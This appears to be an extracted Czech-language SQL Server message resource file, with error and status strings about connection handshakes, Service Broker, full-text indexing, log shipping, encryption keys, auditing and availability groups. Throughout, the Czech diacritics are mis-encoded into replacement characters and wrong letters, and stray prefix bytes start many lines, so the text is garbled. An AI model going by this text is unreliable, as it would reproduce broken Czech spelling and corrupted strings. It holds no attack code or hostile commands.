�Metoda handshake pYipojen� se nezdaYila. Vol�n� rozhran� s�t syst�mu SQL Server se nezdaYilo: (%1!s!) %2!s!. Stav %3!s!.

�Metoda handshake pYipojen� se nezdaYila. Vol�n� opera
n�ho syst�mu se nezdaYilo: (%1!s!) %2!s!. Stav %3!s!.

LPYi vyjedn�v�n� pYipojen� metodou handshake bylo zjiatno povodn� pYipojen� k t�mu~ partnerovi. Toto pYipojen� prohr�lo vyjedn�v�n� a bude uzavYeno. Veaker� provoz bude pYesmrov�n na dY�ve existuj�c� pYipojen�. Tato zpr�va je pouze informa
n�. Nen� tYeba ~�dn� akce u~ivatele. Stav %1!s!.

�Se stejn�m partnerem bylo nav�z�no nov� pYipojen�. Toto pYipojen� prohr�lo vyjedn�v�n� a bude uzavYeno. Veaker� provoz bude pYesmrov�n na nov otevYen� pYipojen�. Tato zpr�va je pouze informa
n�. Nen� tYeba ~�dn� akce u~ivatele. Stav %1!s!.

�Metoda handshake pYipojen� se nezdaYila. PYihlaaovac� �
et %1!s! nem� v koncov�m bod opr�vnn� CONNECT. Stav %2!s!.

Metoda handshake pYipojen� se nezdaYila. Certifik�t pou~�van� partnerem je neplatn� z n�sleduj�c�ho dovodu: %1!s!. Stav %2!s!.

�Metoda handshake pYipojen� se nezdaYila. Certifik�t pou~�van� t�mto koncov�m bodem nebyl nalezen: %1!s!. Pomoc� pY�kazu DBCC CHECKDB v hlavn� datab�zi ovYte integritu metadat koncov�ch bodo. Stav %2!s!.

Metoda handshake pYipojen� se nezdaYila. PYi inicializaci priv�tn�ho kl�
e odpov�daj�c�ho certifik�tu doalo k chyb %1!s!. Z�znamy souvisej�c� s touto chybou mohou b�t v protokolu chyb syst�mu SQL Server a protokolu chyb opera
n�ho syst�mu. Stav %2!s!.

�Metoda handshake pYipojen� se nezdaYila. OvYen� metody handshake se nezdaYilo. Stav %1!s!.

�Metoda handshake pYipojen� se nezdaYila. PYijat� paket SSPI nen� stejn�ho typu jako vyjednan� bal�
ek. Stav %1!s!.

�Byla pYijata poakozen� zpr�va. Z�hlav� soused�c� chybov� zpr�vy nen� platn�.

\Metoda handshake pYipojen� selhala. Certifik�t pou~�van� partnerem neodpov�d� certifik�tu v datab�zi MASTER se stejn�m n�zvem vystavitele a s�riov�m 
�slem. Stav %1!s!.

�%1!s! PYihl�aen� u~ivatele %2!s! se zdaYilo. Re~im ovYov�n�: %3!s!. %4!s!

�%1!s! pokus o pYihl�aen� se nezdaYil s k�dem chyby: %2!s!. %3!s!

�%1!s! pokus o pYihl�aen� u~ivatele %2!s! se nezdaYil s k�dem chyby: %3!s!. %4!s!

Kl�
e relace pro tuto konverzaci nelze vytvoYit ani k nim z�skat pY�stup. Pro tuto operaci je nezbytn� hlavn� kl�
 datab�ze.

�Kl�
 relace dialogu nelze ulo~it. Pro ulo~en� kl�
e relace mus� b�t v datab�zi hlavn� kl�
.

<Slu~ba Service Broker v datab�zi %1!s! m� nevyY�zenou operaci upgradu konverzace. Pro dokon
en� t�to operace je v datab�zi nezbytn� hlavn� kl�
 datab�ze.

�Metoda handshake pYipojen� se nezdaYila. Stav Potvrzeno u pYijat� zpr�vy SSPI nen� o
ek�van�. Stav %1!s!.

�PYijatou spr�vu nelze pYedat d�l dala�mu pYipojen�. Stav: %1!s!

�ZprostYedkovatel v datab�zi odes�latele je v jednou~ivatelsk�m re~imu. V jednou~ivatelsk�m re~imu nelze doru
ovat zpr�vy.

�Nelze se dotazovat na pY�znak re~imu dodr~ov�n� standardu FIPS v registru. Chyba %1!s!.

Koncov� bod %1!s! je spuatn v re~imu dodr~ov�n� standardo FIPS. Tato zpr�va je pouze informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

�`ifrovac� algoritmus RC4 nen� pYi provozu v re~imu dodr~ov�n� standardo FIPS podporov�n.

�Metoda handshake pYipojen� se nezdaYila. PYijat� paket SSPI nem� o
ek�van� smrov�n�. Stav %1!s!.

�Metoda handshake pYipojen� se nezdaYila. Koncov� bod %1!s! nen� konfigurov�n. Stav %2!s!.

Metoda handshake pYipojen� se nezdaYila. PYi pokusu o odesl�n� zpr�vy typu handshake byl navr�cen neo
ek�van� stav %1!s!. Stav %2!s!.

�Metoda handshake pYipojen� se nezdaYila. PYi pokusu o zaYazen� zpr�vy doalo k neo
ek�van� vnitYn� chyb. Stav %1!s!.

�PYi pokusu o zjiatn� stavu u~ivatelsk� fronty %1!s! doalo k chyb vnitYn� aktivace slu~by Service Broker. Chyba: %2!s!, stav: %3!s!. %4!s! Tato zpr�va je pouze informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

�Spouatn� koncov�ho bodu pro %1!s! bez jak�hokoli ovYov�n� nen� podporov�no.

xPYi aktualizace nastaven� proxy serveru doalo k chyb.

�Po vyhled�n� DNS bylo nalezeno ji~ existuj�c� pYipojen� k t�mu~ partnerovi. Toto pYipojen� bude uzavYeno. Veaker� provoz bude pYesmrov�n na dY�ve existuj�c� pYipojen�. Tato zpr�va je pouze informa
n�. Nen� tYeba ~�dn� akce u~ivatele. Stav %1!s!.

�Bhem procesu upgradu datab�ze %1!s! bylo zjiatno, ~e objekt u~ivatele %2!s! s n�zvem %3!s! ji~ existuje. Tento objekt je v t�to verzi syst�mu SQL Server vyhrazen pro syst�m. Proto~e ji~ objekt v datab�zi existuje, proces upgradu jej nemo~e nainstalovat. Odeberte nebo pYejmenujte objekt u~ivatele z povodn� datab�ze (pYed upgradem) ve stara� verzi syst�mu SQL Server a potom proces upgradu datab�ze opakujte s pou~it�m pY�kazu CREATE DATABASE FOR ATTACH. Pokud budete pokra
ovat v pou~it� datab�ze v aktu�ln�m stavu, nemus� spr�vn pracovat funk
nost, kter� na tomto vyhrazen�m objektu z�vis�.

�DVM se nepodaYilo zpracovat opakovanou konfiguraci matice. {k�d chyby: %1!s!, stav: %2!s!}

�Agent transakc� se vyp�n�, proto~e byl od spr�vce obdr~en pY�kaz k vypnut�.

�Spouat� se spr�vce spolupr�ce transakc�. Tato zpr�va je pouze informa
n�. Nen� vy~adov�na ~�dn� akce u~ivatele.

�Spr�vce spolupr�ce transakc� je neaktivn�. Tato zpr�va je pouze informa
n�. Nen� vy~adov�na ~�dn� akce u~ivatele.

@Spr�vce spolupr�ce transakc� je aktivn� a po
�te
n� hodnota parametru AGE je %1!s!. Tato zpr�va je pouze informa
n�. Nen� vy~adov�na ~�dn� akce u~ivatele.

�Spr�vce spolupr�ce transakc� je aktivn�. Tato zpr�va je pouze informa
n�. Nen� vy~adov�na ~�dn� akce u~ivatele.

dDala� ohl�aen� zpr�va m� povod v cihle %1!s!.

pProv�dn� po~adavku bylo na vzd�len� cihle zruaeno.

�ZaYazen� agenta spr�vce konfigurace bylo �span provedeno. Spr�vce pYijal ~�dost o pYipojen� cihly <%1!s!>.

�ZaYazen� agenta spr�vce konfigurace: cihla <%1!s!>, stav <%2!s!>.

�ZaYazen� agenta spr�vce konfigurace pYijalo odpov na zpr�vu o pYipojen�.

XAgent spr�vce konfigurace byl spuatn.

TAgent spr�vce konfigurace byl vypnut.

�Spouat� se komunika
n� infrastruktura pro komunikaci mezi spr�vcem konfigurace a agentem.

XVyp�n�n� agenta spr�vce konfigurace...

�ZaYazen� spr�vce konfigurace vzalo na vdom� ~�dost o pYipojen� cihly. Cihla <%1!s!> se pYipojila k matici.

�ZaYazen� spr�vce konfigurace pYijalo novou zpr�vu o zaYazen�.

�Stavov� stroj zaYazen� spr�vce konfigurace: cihla <%1!s!>, stav <%2!s!>

xVyhrazen� cihla <%1!s!> je nyn� ozna
ena jako aktivn�.

`ZaYazen� spr�vce konfigurace bylo spuatno.

dZaYazen� spr�vce konfigurace bylo zastaveno.

�ZaYazen� spr�vce konfigurace odeslalo odpov do cihly <%1!s!>.

�ZaYazen� spr�vce konfigurace pYijalo zpr�vu o pYipojen� z cihly <%1!s!>.

dMatice pYeala ze stavu %1!s! do stavu %2!s!.

`Cihla pYeala ze stavu %1!s! do stavu %2!s!.

dSpr�vce pYeael ze stavu %1!s! do stavu %2!s!.

dMatice pYeala ze stavu %1!s! do stavu %2!s!.

|Spr�vce konfigurace za
al pYij�mat po~adavky na zaYazen�.

HSpr�vce konfigurace byl vypnut.

�PYipojen� cihly <%1!s!> k matici bude umo~nno po dokon
en� pYedchoz� opakovan� konfigurace vypnut� cihly.

�Upozornn�: Konfigurace fulltextov�ho stoplistu byla zmnna s pou~it�m klauzule WITH NO POPULATION. To uvedlo fulltextov� index do nekonzistentn�ho stavu. Abyste uvedli fulltextov� index do konzistentn�ho stavu, spusete �pln� naplHov�n�. Z�kladn� syntaxe Transact-SQL pro tuto operaci: ALTER FULLTEXT INDEX ON table_name START FULL POPULATION.

Fulltextov� index je v nekonzistentn�m stavu, proto~e seznam vlastnost� vyhled�v�n� ve fulltextov�m indexu byl znovu konfigurov�n s pou~it� klauzule WITH NO POPULATION. Abyste uvedli fulltextov� index do konzistentn�ho stavu, spusete �pln� naplHov�n� s pou~it�m pY�kazu ALTER FULLTEXT INDEX ON <table_name> START FULL POPULATION;. Toto je upozornn�. Nen� tYeba ~�dn� akce u~ivatele.

�Bhem fulltextov�ho proch�zen� tabulky nebo indexovan�ho zobrazen� %1!s! byla v ID d�vky %3!s! nalezena neregistrovan� vlastnost %2!s!. Tato vlastnost bude indexov�na jako sou
�st generick�ho obsahu a nebude dostupn� pro fulltextov� dotazy t�kaj�c� se vlastnost�. ID tabulky nebo indexovan�ho zobrazen� je %4!s!. ID datab�ze je %5!s!. Informace o registraci vlastnost� a aktualizaci fulltextov�ho indexu tabulky nebo indexovan�ho zobrazen� naleznete v dokumentaci fulltextov�ho vyhled�v�n� v Knih�ch online pro syst�m SQL Server. Tato zpr�va je informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

�Hlavn� slou
en� zah�jen� na konci �pln�ho proch�zen� tabulky nebo indexovan�ho zobrazen� %1!s! se nezdaYilo s v�sledkem HRESULT = 0x%2!s!. ID datab�ze je %3!s!, ID tabulky je %4!s! a ID katalogu: %5!s!.

�Informativn�: Ignorov�n� duplicitn�ho pravidla slovn�ku tezaurus %1!s! pYi na
�t�n� souboru slovn�ku tezaurus pro k�d LCID %2!s!. V odd�lu <sub> pravidla roza�Yen� nebo v odd�lu <pat> pravidla nahrazen� byla nalezena duplicitn� fr�ze slovn�ku tezaurus. Zposobuje to nejednozna
nost a tato fr�ze proto bude ignorov�na.

�Byl zah�jen import fulltextov�ho katalogu %1!s! v datab�zi %2!s!.

Import fulltextov�ho katalogu %1!s! v datab�zi %2!s! byl dokon
en. Bylo zpracov�no %3!s! fragmento a %4!s! kl�
ov�ch slov.

�Volba upgradu %1!s! je pou~�v�na pro fulltextov� katalog %2!s! v datab�zi %3!s!.

Upozornn�: Syst�mu SQL Server se nezdaYilo nastavit spYa~en� procesoro fdhost.exe na hodnotu %1!s!, proto~e tato hodnota je neplatn�.

�Skupina souboro %1!s! je offline, jen pro 
ten� nebo se nejedn� o datov� soubor. Fulltextov� plnn� v tabulce %2!s! nen� obnoveno. PYed obnoven�m fulltextov�ho plnn� nejprve opravte stav skupiny souboro.

Upozornn�: Operace odpojen� nemo~e odstranit fulltextov� index vytvoYen� z tabulky %1!s! v datab�zi %2!s!, proto~e je index ve skupin souboro ur
en�ch jen pro 
ten�. Chcete-li vyYadit fulltextov� index, znovu pYipojte datab�zi, zmHte pro skupinu souboro pY�stup jen pro 
ten� na pY�stup pro 
ten� a z�pis a potom ji odpojte. Toto upozornn� nezposob� selh�n� operace odpojov�n� datab�ze.

XBhem upgradu datab�ze byla �span ovYena komponenta fulltextov�ho filtru %1!s!, kter� je pou~�v�na katalogem %2!s!. Verze komponenty je %3!s!; �pln� cesta je %4!s!.

�Bhem upgradu datab�ze byla �span ovYena komponenta fulltextov�ho dlen� textu na slova %1!s!, kter� je pou~�v�na katalogem %2!s!. Verze komponenty je %3!s!. �pln� cesta je %4!s!. Po~adovan� jazyk je %5!s!. Pou~it� jazyk je %6!s!.

�Bhem upgradu datab�ze byla �span ovYena komponenta fulltextov� obslu~n� rutiny protokolu %1!s!, kter� je pou~�v�na katalogem %2!s!. Verze komponenty je %3!s!. �pln� cesta je %4!s!. ID programu je %5!s!.

�Fulltextov� proch�zen� pro ID datab�ze: %1!s!, ID tabulky: %2!s!, ID katalogu: %3!s! budou zastavena, proto~e byl zmnn nebo vyYazen clusterovan� index u tabulky. Bude nutn� zah�jit proch�zen� znovu od za
�tku.

�Informace o probhu fulltextov�ho proch�zen� pro ID datab�ze: %1!s!, ID tabulky: %2!s!, ID katalogu: %3!s! byly vynulov�ny kvoli zmn clusterovan�ho indexu. Proch�zen� znovu za
ne od za
�tku, jakmile bude uvolnno.

0Fulltextov� dotaz nepou~il hodnotu zadanou pro parametr OPTIMIZE FOR, proto~e dotaz obsahoval v�ce ne~ jeden typ fulltextov�ch logick�ch oper�toro.

�Fulltextov� dotaz ignoroval volbu UNKNOWN v parametru OPTIMIZE FOR.

tPl�n v mezipamti byl kompilov�n s pou~it�m pY�znako trasov�n�, kter� nejsou kompatibiln� s aktu�ln�mi hodnotami. Zkuste znovu kompilovat data s nov�m nastaven�m pY�znako trasov�n�.

Hostitelsk� proces d�monu fulltextov�ho filtru se zastavil norm�ln. Proces bude v pY�pad potYeby automaticky znovu spuatn.

�Byla �span spuatna nov� instance hostitelsk�ho procesu d�monu fulltextov�ho filtru.

dPo~adavek na zah�jen� naplHov�n� fulltextov�ho indexu v tabulce nebo indexovan�m zobrazen� %1!s! je ignorov�n, proto~e naplHov�n� je v sou
asn� dob pozastaveno. Pozastaven� naplHov�n� zastavte nebo v nm pokra
ujte. Chcete-li pokra
ovat, pou~ijte n�sleduj�c� pY�kaz Transact-SQL: ALTER FULLTEXT INDEX ON %2!s! RESUME POPULATION. Chcete-li jej zastavit, pou~ijte n�sleduj�c� pY�kaz: ALTER FULLTEXT INDEX ON %3!s! STOP POPULATION.

�Verze jazykov�ch komponent pou~�van�ch fulltextov�m katalogem %1!s! v datab�zi %2!s! se lia� od verze jazykov�ch komponent zahrnut�ch v t�to verzi syst�mu SQL Server. Fulltextov� katalog bude pYesto importov�n jako sou
�st upgradu datab�ze. Abyste pYedeali jak�mkoli pY�padn�m nekonzistenc�m ve v�sledc�ch dotazo, zkuste fulltextov� katalog znovu sestavit.

tFulltextov� prochod optovn�ho pokusu o plnn� %1!s! byl zah�jen pro tabulku nebo indexovan� zobrazen� %2!s!. ID tabulky nebo indexovan�ho zobrazen� je %3!s!. ID datab�ze je %4!s!.

LUpgrade fulltextov�ho katalogu se nezdaYil z dovodu nekonzistence v metadatech mezi sys.master_files a sys.fulltext_catalogs pro katalog s ID %1!s! v datab�zi s ID %2!s!. Zkuste tuto datab�zi znovu pYipojit. Pokud se to nezdaY�, bude nutn� pYed pYipojen�m katalog vyYadit a znovu vytvoYit.

�VnitYn� dotaz na na
ten� dat pro proch�zen� datab�ze %1!s! a tabulky %2!s! se nezdaYil s k�dem chyby %3!s!. Dala� informace o stavu zposobuj�c�m toto selh�n� najdete v k�du chyb sql. Po odstrann� tohoto stavu je nutn� proch�zen� znovu spustit.

DOptovn� konfigurace seznamu vlastnost� vyhled�v�n� ve fulltextov�m indexu zkr�tila st�vaj�c� data v indexu. Dokud nebude fulltextov� index znovu zcela naplnn, fulltextov� dotazy budou vracet 
�ste
n� v�sledky. PY�kaz ALTER FULLTEXT INDEX <n�zev_tabulky> SET SEARCH PROPERTY LIST ...; automaticky spust� �pln� naplnn�, ale pokud pY�kaz ALTER FULLTEXT INDEX obsahoval klauzuli WITH NO POPULATION, mus�te �pln� naplnn� fulltextov�ho indexu spustit pY�kazem ALTER FULLTEXT INDEX ON <n�zev_tabulky> START FULL POPULATION;. Toto je upozornn�.

`Operace upozornn� hlavn�ho slou
en� nebyla provedena pro dbid %1!s! a objid %2!s!. Dotazov�n� indexu bude proto pomal�. Spusete pY�kaz ALTER FULLTEXT CATALOG REORGANIZE.

x�loha protokolu z�lohov�n� pYenoso protokolo pro %1!s!

p�loha kop�rov�n� pYenoso protokolo pro %1!s!:%2!s!

l�loha obnoven� pYenoso protokolo pro %1!s!:%2!s!

XKrok �lohy z�lohov�n� pYenoso protokolo

XKrok �lohy kop�rov�n� pYenoso protokolo

TKrok �lohy obnoven� pYenoso protokolo

�Datab�ze %1!s! nen� v re~imu ONLINE. �loha z�lohov�n� nebude provedena, dokud nebude datab�ze uvedena do re~imu online.

H�loha v�strah pYenoso protokolo

TKrok �lohy v�strah pYenoso protokolo

PPl�n �loh v�strah pYenoso protokolo

dV�straha prim�rn�ho serveru pYenosu protokolo

hV�straha sekund�rn�ho serveru pYenosu protokolo

tAgent z�lohov�n� pYenoso protokolo [%1!s!] ovYil soubor z�lohy protokolu %2!s!.wrk a pYejmenoval jej na %3!s!.trn. Tato zpr�va je pouze informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

�Nelze se dotazovat informac� o monitorov�n� na prim�rn� %1!s! pYenoso protokolo.%2!s! ze serveru monitorov�n� %3!s!.

�Nelze se dotazovat informac� o monitorov�n� na sekund�rn� %1!s! pYenoso protokolo.%2!s! ze serveru monitorov�n� %3!s!.

�Aktualizace z�kladn� tabulky vy~aduje opr�vnn� spr�vce syst�mu. Z�kladn� tabulka nebyla aktualizov�na.

�Nelze %1!s! podpis %2!s! %3!s! %4!s!. Podpis ji~ existuje nebo jej nelze pYidat.

�Nelze vyYadit kl�
 s kryptografick�m otiskem %1!s! u zprostYedkovatele.

�ZprostYedkovatel kryptografick�ch slu~eb je nyn� zak�z�n. PYesto jej mohou u~ivatel�, kteY� maj� otevYenou kryptografickou relaci zprostYedkovatele, nad�le pou~�vat. Chcete-li zprostYedkovatele zak�zat pro vaechny u~ivatele, restartujte server.

�ZprostYedkovatel kryptografick�ch slu~eb je nyn� vyYazen. PYesto jej mohou u~ivatel�, kteY� maj� otevYenou kryptografickou relaci zprostYedkovatele, nad�le pou~�vat. Chcete-li zprostYedkovatele zak�zat pro vaechny u~ivatele, restartujte server.

�Doalo k chyb pYi konfiguraci z�sad hesel: NTSTATUS 0x%1!s!, stav %2!s!. Pokud chcete pYesko
it konfiguraci z�sad hesel, pou~ijte bhem spuatn� pY�znak trasov�n� -T4634. To zposob� spuatn� SQL Serveru s minim�ln�mi z�sadami hesel.

0Knihovna zprostYedkovatelo kryptografick�ch slu~eb %1!s! byla na
tena do pamti. Tato zpr�va je pouze informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

�OvYen� podpisu Authenticode na knihovn DLL %1!s! se nezdaYilo.

�V knihovn zprostYedkovatelo kryptografick�ch slu~eb %1!s! se nezdaYilo nal�zt nejm�n jednu metodu.

�Funkci SQL Server Audit se nezdaYilo zaznamenat akci %1!s!.

�Pokus o na
ten� knihovny %1!s! do pamti. Tato zpr�va je pouze informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

�Upozornn�: Certifik�t pou~it� pro aifrov�n� aifrovac�ho kl�
e datab�ze nebyl z�lohov�n. Mli byste certifik�t a k nmu pYidru~en� priv�tn� kl�
 okam~it z�lohovat. Pokud se certifik�t stane nkdy nedostupn�m nebo pokud budete muset obnovit nebo pYipojit datab�zi na jin�m serveru, mus�te m�t vytvoYen� z�lohy certifik�tu i priv�tn�ho kl�
e nebo nebudete moci datab�zi otevY�t.

�OvYen� podpisu Authenticode %1!s! se nezdaYilo. OvYen� podpisu slu~eb DLL syst�mu SQL Server bude pYesko
eno. Prav� kopie syst�mu SQL Server jsou podeps�ny. Selh�n� ovYen� podpisu Authenticode mo~e znamenat, ~e se nejedn� o origin�ln� verzi syst�mu SQL Server. Nainstalujte origin�ln� kopii syst�mu SQL Server nebo se obraete na slu~bu z�kaznick� podpory.

xDoalo k chyb bhem operace hlavn�ho kl�
e slu~by %1!s!

�Hlavn� kl�
 slu~by nelze deaifrovat pomoc� jeho aifrov�n�. Podrobnosti naleznete v tabulce sys.key_encryptions.

�PYi aifrov�n� nebo deaifrov�n� hlavn�ho kl�
e slu~by doalo k obecn� chyb.

�Zpracov�n� BrickId: %1!s! s MasterDb.PrimaryPru.FragId %2!s!

�Inicializace hlavn�ho kl�
e slu~by (SMK) pro brickId: %1!s!

xProb�h� zah�jen� prohled�v�n� aifrov�n� datab�ze %1!s!.

pProhled�v�n� aifrov�n� datab�ze %1!s! je dokon
eno.

�Prohled�v�n� aifrov�n� datab�ze %1!s! bylo zruaeno. Vydejte znovu pY�kaz ALTER DB, abyste prohled�v�n� obnovili.

hProhled�v�n� aifrov�n� datab�ze %1!s! nelze dokon
it, proto~e nejm�n jeden soubor je v re~imu offline. PYevete soubory do re~imu online, abyste mohli prohled�v�n� dokon
it.

�Token pYihlaaovac�ho �
tu nelze vytvoYit z dovodu pY�lia mnoha sekund�rn�ch hlavn�ch jmen. Maxim�ln� povolen� po
et sekund�rn�ch hlavn�ch jmen je %1!s!. Chcete-li to opravit, odeberte pYihlaaovac� �
et z role serveru.

x`ifrovac� kl�
 datab�ze je poakozen a nelze jej na
�st.

�VytvoYen� povYen� pravdpodobn nebude schopno deaifrovat hlavn� kl�
 datab�ze. Ujistte se, zda hlavn� kl�
 datab�ze pro tuto datab�zi existuje a zda je aifrov�n pomoc� stejn�ho hesla, jak� je pou~ito v ulo~en� proceduYe.

,Datab�ze %1!s! je offline. PovYen� byla vytvoYena, ale syst�m SQL Server nemo~e ur
it, zda mohou tato povYen� deaifrovat hlavn� kl�
 datab�ze.

�OvYen� podpiso Authenticode selhalo kvoli chyb s k�dem %1!s!. OvYen� podpisu slu~eb DLL syst�mu SQL Server se pYesko
�. Origin�ln� kopie SQL Serveru jsou podepsan�. Selh�n� ovYen� podpisu Authenticode mo~e znamenat, ~e se nejedn� o origin�ln� verzi SQL Serveru. Nainstalujte origin�ln� kopii SQL Serveru nebo se obraete na oddlen� slu~eb z�kaznick� podpory.

�Hled�n� %1!s! hled� jenom v %2!s! ovYovac� pYihl�aen� SQL Serveru.

`Hled�n� %1!s! hled� jenom u~ivatele Azure Active Directory. Pokud chcete naj�t ovYovac� pYihl�aen� SQL Serveru, pYidejte na konec n�zev serveru. NapY�klad [%2!s!@%3!s!].

8Ud�lost auditu: %1!s!.

0Audit %1!s! se zmnil na ON_FAILURE=CONTINUE, proto~e server byl spuatn s pou~it�m pY�znaku -m. proto~e server byl spuatn s pou~it�m pY�znaku -m.

�Funkci SQL Server Audit se nezdaYilo spustit a server je vyp�n�n. Chcete-li tento probl�m vyYeait, pou~ijte pY�znak -m (jednou~ivatelsk� re~im), abyste obeali vypnut� generovan� auditem bhem spouatn� serveru.

PNejm�n jeden audit se nezdaYilo spustit. S pou~it�m pYedchoz�ch chyb v protokolu chyb identifikujte pY�
inu a opravte probl�my souvisej�c� s jednotliv�mi chybami.

8Syst�m SQL Server byl spuatn s pou~it�m pY�znaku -f. Funkce SQL Server Audit je zak�z�na. Tato zpr�va je informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

�Funkce SQL Server Audit zahajuje auditov�n�. Tato zpr�va je informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

�Funkce SQL Server Audit zah�jila auditov�n�. Tato zpr�va je informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

�Server byl zastaven, proto~e funkce SQL Server Audit %1!s! je nakonfigurov�na pro vypnut� pYi selh�n�. Chcete-li tento probl�m vyYeait, pou~ijte pY�znak -m (jednou~ivatelsk� re~im), abyste obeali vypnut� generovan� auditem bhem spouatn� serveru.

xAuditu %1!s! se nepovedlo %2!s!. Dala� informace najdete v protokolu chyb SQL Serveru. Mo~ete taky zadat dotaz na sys.dm_os_ring_buffers, kde ring_buffer_type = 'RING_BUFFER_XE_LOG'.

�Funkce fn_get_audit_file pYeskakuje z�znamy z %1!s! u odsazen� %2!s!.

Dotaz %1!s! v datab�zi %2!s! m� povolenu aktivaci a obsahuje neuzam
en� zpr�vy, ale bhem %3!s! s nebyl proveden pY�kaz RECEIVE.

�Koncov� bod clusteru nelze spustit, proto~e v�choz� konfigurace koncov�ho bodu %1!s! jeat nebyla na
tena.

tek�n� na dokon
en� po~adavku pYipojen� se nezdaYilo.

�ek�n� na dotazov�n� na trasy proxy serveru se nezdaYilo nebo bylo pYeruaeno.

�PYipojen� mlo vystaveno jedno odesl�n� d�le ne~ %1!s! sekund. PYipojen� je pova~ov�no za zamrzl� a zav�r� se.

�PYi nastavov�n� kan�lu SSL doalo k chyb. K�d chyby: (%1!s!, %2!s!, %3!s!)

U pYipojen� doalo k Y�zen� toku bhem %1!s! sekund (doalo k tomu %2!s!x, pYi
em~ prahov� hodnota je %3!s!). Minim�ln� po~adovan� rychlost pYenosu je %4!s! kb/s, skute
n� rychlost pYenosu je %5!s! kb/s. U pYipojen� doch�z� k Y�zen� toku pY�lia 
asto a bude ukon
eno.

0Pokud je mo~nost NON_TRANSACTED_ACCESS datab�ze FILESTREAM nastavena na hodnotu FULL a mo~nost READ_COMMITTED_SNAPSHOT nebo ALLOW_SNAPSHOT_ISOLATION je zapnuta, doch�z� k zablokov�n� jazyka T-SQL a transak
n�ho pY�stupu pro 
ten� dat FILESTREAM v kontextu objektu FILETABLE.

�Netransak
n� popisova
e FILESTREAM %1!s! z datab�ze s ID %2!s! byly ukon
eny.

�Nelze obnovit ztracen� aktualizace objektu Filetable pro datab�zi s ID %1!s!.

HPY�stup k vstupn-v�stupn�m operac�m se souborem �lo~iat FILESTREAM je povolen, nen� vaak vytvoYen naslouchac� proces pro skupinu dostupnosti. Argument PathName pY�kazu FILESTREAM nebude moci odkazovat na n�zev virtu�ln� s�t (VNN). M�sto toho bude odkazovat na fyzick� uzel slu~by Windows Server Failover Clustering (WSFC). To mo~e omezit pou~itelnost pY�stupu k vstupn-v�stupn�m operac�m se souborem �lo~iat FILESTEAM po aktivaci slu~eb pYi selh�n� skupiny dostupnosti. Proto doporu
ujeme pro vaechny skupiny dostupnosti vytvoYit naslouchac� proces. Dala� informace o vytvoYen� naslouchac�ho procesu skupiny dostupnosti naleznete na webu Knihy online pro SQL Server.

\PY�stup k vstupn-v�stupn�m operac�m se souborem �lo~iat FILESTREAM je povolen. Nkter� skupiny dostupnosti (%1!s!) nemaj� aktu�ln naslouchac� proces. Argument PathName pY�kazu FILESTREAM nebude moci odkazovat na n�zev virtu�ln� s�t (VNN). M�sto toho bude odkazovat na fyzick� uzel slu~by Windows Server Failover Clustering (WSFC). To mo~e omezit pou~itelnost pY�stupu k vstupn-v�stupn�m operac�m se souborem �lo~iat FILESTEAM po aktivaci slu~eb pYi selh�n� skupiny dostupnosti. Proto doporu
ujeme pro vaechny skupiny dostupnosti vytvoYit naslouchac� proces. Dala� informace o vytvoYen� naslouchac�ho procesu skupiny dostupnosti naleznete na webu Knihy online pro SQL Server.

$Funkce fn_get_audit_file pYeskakuje z�znamy z %1!s!. Abyste mohli pYistupovat k protokolom auditu datab�ze %2!s!, mus�te k n� b�t pYipojeni.

$Funkce fn_get_audit_file pYeskakuje z�znamy z %1!s!. Abyste mohli pYistupovat k protokolom auditu serveru %2!s!, mus�te k nmu b�t pYipojeni.

�Funkce fn_get_audit_file pYeskakuje z�znamy z %1!s!, proto~e nejsou dodr~eny z�sady vytv�Yen� n�zvo objekto blob auditu.

�Prohled�v�n� TDE pro datab�zi s id [%1!s!] bylo zah�jeno v %2!s! (UTC). Prohled�v�n� aifrov�n� bude brzy obnoveno.

�Prohled�v�n� TDE pro datab�zi s id [%1!s!] bylo pYeruaeno v %2!s! (UTC). Prohled�v�n� aifrov�n� bude brzy obnoveno.

`Prohled�v�n� TDE pro datab�zi s id [%1!s!] bylo pozastaveno v %2!s! (UTC). Pokud chcete prohled�v�n� obnovit, spusete pY�kaz ALTER DATABASE [%3!s!] SET ENCRYPTION RESUME.

�Zadan� skupina �lohy neexistuje. PYep�n� se na v�choz� skupinu �lohy pro kontrolu aifrov�n� TDE.

�Upozornn�: Index %1!s!.%2!s! obsahuje kl�
ov� sloupec povolen� pro enkl�vy, ale zrychlen� obnoven� datab�ze nen� pro datab�zi %3!s! povolen�. Dorazn doporu
ujeme ho povolit, proto~e to zv�a� dostupnost datab�ze bhem obnoven�.

(PYi pokusu o pYipojen� k replice dostupnosti %1!s! s ID [%2!s!] vyprael 
asov� limit pro pYipojen�. Pravdpodobn doalo k probl�mu se s�t� 
i br�nou firewall nebo uveden� adresa koncov�ho bodu repliky nen� koncov�m bodem zrcadlen� datab�ze instance hostitelsk�ho serveru.

�PYipojen� skupiny dostupnosti %1!s! z repliky dostupnosti %2!s! s ID [%3!s!] do %4!s! s ID [%5!s!] bylo �span nav�z�no. Tato zpr�va je pouze informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

�Spojen� mezi instancemi servero %1!s! s ID [%2!s!] a %3!s! s ID [%4!s!] bylo zak�z�no, proto~e koncov� bod zrcadlen� datab�ze byl zak�z�n 
i zastaven. Restartujte koncov� bod pomoc� pY�kazu Transact-SQL ALTER ENDPOINT s argumentem STATE = STARTED.

�PYi dY�ve nav�zan�m pYipojen� k replice dostupnosti %1!s! s ID [%2!s!] vyprael 
asov� limit pro pYipojen�. Pravdpodobn doalo k probl�mu se s�t� 
i br�nou firewall nebo replika dostupnosti pYeala do role Yeaen�.

�Spuatn� datab�ze %1!s! bude vynech�no, proto~e datab�ze patY� do skupiny dostupnosti (ID skupiny: %2!s!). Datab�ze bude spuatna skupinou dostupnosti. Tato zpr�va je pouze informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

�PYesun dat skupin dostupnosti Always On pro datab�zi %1!s! se pozastavil z n�sleduj�c�ho dovodu: %2!s! (ID zdroje %3!s!; Yetzec zdroje: %4!s!). Jestli chcete pokra
ovat v pYesunu dat pro datab�zi, bude nutn� ru
